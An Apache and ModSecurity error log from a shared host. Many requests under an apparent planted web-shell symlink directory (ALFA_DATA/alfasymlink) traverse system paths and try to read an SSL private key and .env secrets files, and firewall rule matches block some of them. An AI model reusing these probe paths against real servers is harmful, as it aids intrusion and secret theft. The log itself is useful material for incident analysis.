[Sat Oct 24 13:23:39.723670 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 54.157.84.74:54308] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:23:43.499578 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 98.84.60.17:62009] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:23:51.515401 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 23.23.103.31:6980] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:23:57.395624 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 85.208.96.205:60892] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:23:59.510744 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 34.235.239.240:45747] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:24:03.596211 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 50.16.248.61:41603] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:24:07.830301 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.205.222.214:39024] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:24:39.670493 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 18.235.81.246:23952] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:24:51.551167 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 98.83.94.113:27378] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:25:08.231638 2026] [core:error] [pid 2661978:tid 2661978] (13)Permission denied: [client 85.208.96.200:30500] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uid_cache/partial
[Sat Oct 24 13:25:08.232138 2026] [security2:error] [pid 2661978:tid 2661978] [client 85.208.96.200:30500] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uid_cache/partial"] [unique_id "atzp9Fb2-c1qsZ5qYR4AtgAAAAM"]
[Sat Oct 24 13:25:08.232170 2026] [security2:error] [pid 2661978:tid 2661978] [client 85.208.96.200:30500] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uid_cache/partial"] [unique_id "atzp9Fb2-c1qsZ5qYR4AtgAAAAM"]
[Sat Oct 24 13:25:11.431961 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 44.218.6.93:10874] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:25:15.544006 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 44.223.193.255:46193] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/rescan
[Sat Oct 24 13:25:35.582596 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 52.200.93.170:20073] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:25:51.357297 2026] [ssl:error] [pid 2666873:tid 2666873] (5)Input/output error: [client 3.225.9.97:28674] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:26:09.528746 2026] [core:error] [pid 2653689:tid 2653689] (13)Permission denied: [client 185.191.171.7:49072] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_sock_TCP/hwcache_align
[Sat Oct 24 13:26:11.522216 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 18.204.152.114:8071] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:26:23.514304 2026] [ssl:error] [pid 2676583:tid 2676583] (70014)End of file found: [client 54.225.199.17:17444] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:26:39.316823 2026] [core:error] [pid 2661978:tid 2661978] (13)Permission denied: [client 54.204.62.163:38387] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/PNP0303:00/subsystem/devices/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:01.3/driver/uevent
[Sat Oct 24 13:26:40.764495 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 85.208.96.205:44860] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:26:51.453927 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 100.29.155.89:60128] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:27:03.321434 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 100.29.107.38:4589] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:27:11.192249 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 34.231.156.59:27008] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:27:23.371008 2026] [ssl:error] [pid 2676583:tid 2676583] (70014)End of file found: [client 44.205.120.22:41676] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:27:43.529529 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 85.208.96.206:63238] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:27:43.604418 2026] [ssl:error] [pid 2653689:tid 2653689] (5)Input/output error: [client 54.235.158.162:48515] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:27:51.129864 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 34.226.89.140:63953] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:27:59.061271 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 3.94.156.104:47346] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:28:07.179906 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 52.200.142.199:28307] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:28:15.304545 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 34.225.87.80:6157] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:28:18.392336 2026] [core:error] [pid 2666873:tid 2666873] (13)Permission denied: [client 85.208.96.199:10414] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_group/min_partial
[Sat Oct 24 13:28:18.997519 2026] [ssl:error] [pid 2676583:tid 2676583] (70014)End of file found: [client 52.1.157.90:15581] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:28:30.972029 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 44.197.76.210:40284] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:28:50.741114 2026] [core:error] [pid 2676583:tid 2676583] (13)Permission denied: [client 54.225.181.161:23644] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/devices/0000:00:03.0/rescan
[Sat Oct 24 13:28:54.715067 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 23.21.250.48:20811] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:28:58.705492 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 100.27.153.9:4288] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/drivers/uhci_hcd/remove_id
[Sat Oct 24 13:29:02.930861 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 23.23.212.212:55568] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:29:14.554868 2026] [ssl:error] [pid 2666873:tid 2666873] (70014)End of file found: [client 3.212.219.113:7626] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:29:26.511334 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 52.71.203.206:22946] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:29:30.604470 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 34.234.200.207:3468] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:29:34.574328 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 18.205.91.101:47486] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:29:46.133290 2026] [authz_core:error] [pid 2653691:tid 2653691] [client 85.217.140.31:60358] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 13:29:46.356092 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 44.205.180.155:53621] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:29:58.294167 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 18.205.91.101:30852] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:30:02.463190 2026] [core:error] [pid 2653689:tid 2653689] (13)Permission denied: [client 3.94.40.182:19033] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty21/subsystem/tty13/subsystem/ttyS3/irq
[Sat Oct 24 13:30:06.270476 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 3.210.114.189:13465] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:30:21.591860 2026] [core:error] [pid 2676583:tid 2676583] (13)Permission denied: [client 85.208.96.210:52872] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-256/order
[Sat Oct 24 13:30:22.357032 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 34.206.212.24:18496] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:30:30.228537 2026] [ssl:error] [pid 2627273:tid 2627273] (5)Input/output error: [client 3.211.105.134:47444] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:30:42.275568 2026] [ssl:error] [pid 2676898:tid 2676898] (70014)End of file found: [client 44.195.145.102:57099] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:30:58.194597 2026] [security2:error] [pid 2635677:tid 2635677] [client 85.208.96.207:43458] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/licenses/perl-experimental/LICENSE"] [unique_id "atzrUoWurp-t0SwAQgRsYAAAAAQ"]
[Sat Oct 24 13:30:58.194678 2026] [security2:error] [pid 2635677:tid 2635677] [client 85.208.96.207:43458] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/licenses/perl-experimental/LICENSE"] [unique_id "atzrUoWurp-t0SwAQgRsYAAAAAQ"]
[Sat Oct 24 13:30:58.408531 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 54.156.55.147:12536] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:31:00.013100 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 185.191.171.3:15046] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:31:02.579642 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 54.91.122.193:27471] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:31:10.253921 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 44.217.255.167:40674] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A03:00/device:10/eject
[Sat Oct 24 13:31:22.252542 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 52.70.123.241:29367] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/pci-stub/uevent
[Sat Oct 24 13:31:30.245234 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 34.192.67.98:47186] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:31:50.236826 2026] [ssl:error] [pid 2676583:tid 2676583] (70014)End of file found: [client 54.145.82.217:3689] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:31:54.358485 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 52.7.13.143:23618] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:31:58.215419 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 52.205.141.124:29628] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:32:14.416359 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 18.213.240.226:14456] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/device:07/eject
[Sat Oct 24 13:32:22.283295 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 23.21.228.180:5931] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:32:30.194329 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 44.210.204.255:31822] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:32:46.341566 2026] [ssl:error] [pid 2676583:tid 2676583] (70014)End of file found: [client 3.213.106.226:42915] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:32:54.215843 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 3.214.176.44:18730] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:32:57.838118 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 85.208.96.210:14686] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:32:58.246799 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 54.83.240.58:10548] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:33:02.218906 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 44.215.235.20:45223] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:33:04.947234 2026] [core:error] [pid 2676898:tid 2676898] (13)Permission denied: [client 185.191.171.16:52590] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/scripts/create_default_featurelist
[Sat Oct 24 13:33:10.189824 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 98.82.107.102:57977] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:33:10.220167 2026] [core:error] [pid 2676583:tid 2676583] (13)Permission denied: [client 144.76.19.24:58532] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/auxv
[Sat Oct 24 13:33:18.369004 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 52.70.209.13:21387] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:33:22.385420 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 34.233.219.155:47197] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:33:34.258534 2026] [core:error] [pid 2661974:tid 2661974] (13)Permission denied: [client 52.21.62.139:12849] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty7/subsystem/ttyS1/device/tty/ttyS3/iomem_reg_shift
[Sat Oct 24 13:33:38.387904 2026] [core:error] [pid 2661979:tid 2661979] (13)Permission denied: [client 3.94.157.25:21052] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/eject
[Sat Oct 24 13:34:10.171131 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 3.216.86.144:62240] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:34:14.163607 2026] [core:error] [pid 2676583:tid 2676583] (13)Permission denied: [client 184.73.167.217:58766] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty32/subsystem/tty7/subsystem/ttyS3/xmit_fifo_size
[Sat Oct 24 13:34:18.222979 2026] [security2:error] [pid 2661978:tid 2661978] [client 100.29.107.38:55063] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty5/subsystem/tty56/"] [unique_id "atzsGlb2-c1qsZ5qYR4AzAAAAAM"]
[Sat Oct 24 13:34:18.223018 2026] [security2:error] [pid 2661978:tid 2661978] [client 100.29.107.38:55063] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty5/subsystem/tty56/"] [unique_id "atzsGlb2-c1qsZ5qYR4AzAAAAAM"]
[Sat Oct 24 13:34:38.192282 2026] [ssl:error] [pid 2676583:tid 2676583] (70014)End of file found: [client 44.205.180.155:50014] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:34:50.262667 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 34.194.226.74:20090] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:34:58.214894 2026] [ssl:error] [pid 2661974:tid 2661974] (70014)End of file found: [client 44.223.116.149:3985] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:35:02.235172 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 54.235.191.179:56240] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:35:10.247297 2026] [ssl:error] [pid 2661979:tid 2661979] (70014)End of file found: [client 52.202.233.37:36236] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:35:14.260697 2026] [core:error] [pid 2653689:tid 2653689] (13)Permission denied: [client 3.224.215.150:30121] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/8250_mid/remove_id
[Sat Oct 24 13:35:18.246836 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 98.82.107.102:6451] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:35:18.827551 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 85.208.96.193:13300] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/key_jar/slab_size
[Sat Oct 24 13:35:22.316752 2026] [ssl:error] [pid 2676898:tid 2676898] (70014)End of file found: [client 98.84.131.195:17867] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:35:26.203918 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 54.156.124.2:49011] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:35:34.228848 2026] [ssl:error] [pid 2676898:tid 2676898] (70014)End of file found: [client 52.73.6.26:35847] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:35:46.252354 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 34.225.87.80:2712] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:35:50.363144 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 44.223.116.180:64410] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:35:54.311910 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 98.84.184.80:53571] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:35:58.723407 2026] [core:error] [pid 2676898:tid 2676898] (13)Permission denied: [client 185.191.171.17:24870] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid/align
[Sat Oct 24 13:36:02.271798 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 23.23.103.31:54158] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:36:10.306469 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 52.3.104.214:2105] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:36:14.215923 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 52.200.58.199:11397] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:36:17.730676 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 85.208.96.203:37456] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_dst_cache/hwcache_align
[Sat Oct 24 13:36:23.852726 2026] [core:error] [pid 2676583:tid 2676583] (13)Permission denied: [client 185.191.171.1:48368] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fasync_cache/objects_partial
[Sat Oct 24 13:36:38.237403 2026] [ssl:error] [pid 2661978:tid 2661978] (70014)End of file found: [client 52.54.157.23:46891] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:36:42.232692 2026] [core:error] [pid 2676898:tid 2676898] (13)Permission denied: [client 3.209.174.110:38905] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/device:1f/eject
[Sat Oct 24 13:36:42.379476 2026] [security2:error] [pid 2653683:tid 2653683] [client 185.191.171.11:22596] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/a9da6_4e699_44344a5f12514ed3b16b8c6d2ebd5932.key"] [unique_id "atzsqr67zmuaHuFajxGnygAAAA4"]
[Sat Oct 24 13:36:42.379856 2026] [security2:error] [pid 2653683:tid 2653683] [client 185.191.171.11:22596] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/a9da6_4e699_44344a5f12514ed3b16b8c6d2ebd5932.key"] [unique_id "atzsqr67zmuaHuFajxGnygAAAA4"]
[Sat Oct 24 13:36:42.380159 2026] [security2:error] [pid 2653683:tid 2653683] [client 185.191.171.11:22596] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/a9da6_4e699_44344a5f12514ed3b16b8c6d2ebd5932.key"] [unique_id "atzsqr67zmuaHuFajxGnygAAAA4"]
[Sat Oct 24 13:36:46.157578 2026] [core:error] [pid 2661979:tid 2661979] (13)Permission denied: [client 54.86.59.155:50328] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/resource0
[Sat Oct 24 13:37:00.317492 2026] [security2:error] [pid 2661978:tid 2661978] [client 213.209.159.133:55532] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "atzsvFb2-c1qsZ5qYR4A2gAAAAM"]
[Sat Oct 24 13:37:00.317748 2026] [security2:error] [pid 2661978:tid 2661978] [client 213.209.159.133:55532] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "atzsvFb2-c1qsZ5qYR4A2gAAAAM"]
[Sat Oct 24 13:37:00.318053 2026] [security2:error] [pid 2661978:tid 2661978] [client 213.209.159.133:55532] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "atzsvFb2-c1qsZ5qYR4A2gAAAAM"]
[Sat Oct 24 13:37:00.323862 2026] [security2:error] [pid 2635677:tid 2635677] [client 213.209.159.133:55542] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "atzsvIWurp-t0SwAQgRseAAAAAQ"]
